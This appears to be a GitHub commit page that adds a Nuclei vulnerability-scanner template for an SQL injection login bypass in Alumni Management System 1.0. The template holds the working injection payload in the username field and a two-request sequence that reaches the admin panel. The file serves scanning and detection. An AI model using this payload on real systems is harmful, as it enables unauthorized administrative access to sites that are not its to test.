Merge pull request #4883 from arafatansari/patch-21

Create alumni-sqli.yaml
patch-1
Prince Chaddha 2022-07-21 16:29:38 +05:30 committed by GitHub
commit de5b654312
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 44 additions and 0 deletions

View File

@ -0,0 +1,44 @@
id: alumni-management-sqli
info:
name: Alumni Management System 1.0 - SQLi Authentication Bypass
author: arafatansari
severity: high
description: |
Alumni Management System Admin Login page can be bypassed with a simple SQLi to the username parameter.
reference:
- https://www.exploit-db.com/exploits/48883
tags: alumni,sqli,auth-bypass,cms
requests:
- raw:
- |
POST /admin/ajax.php?action=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=admin'+or+'1'%3D'1'%23&password=nuclei
- |
GET /admin/index.php?page=home HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Welcome back Admin!'
- 'Alumni List'
condition: and
- type: word
part: body
words:
- '#login-form'
negative: true
- type: status
status:
- 200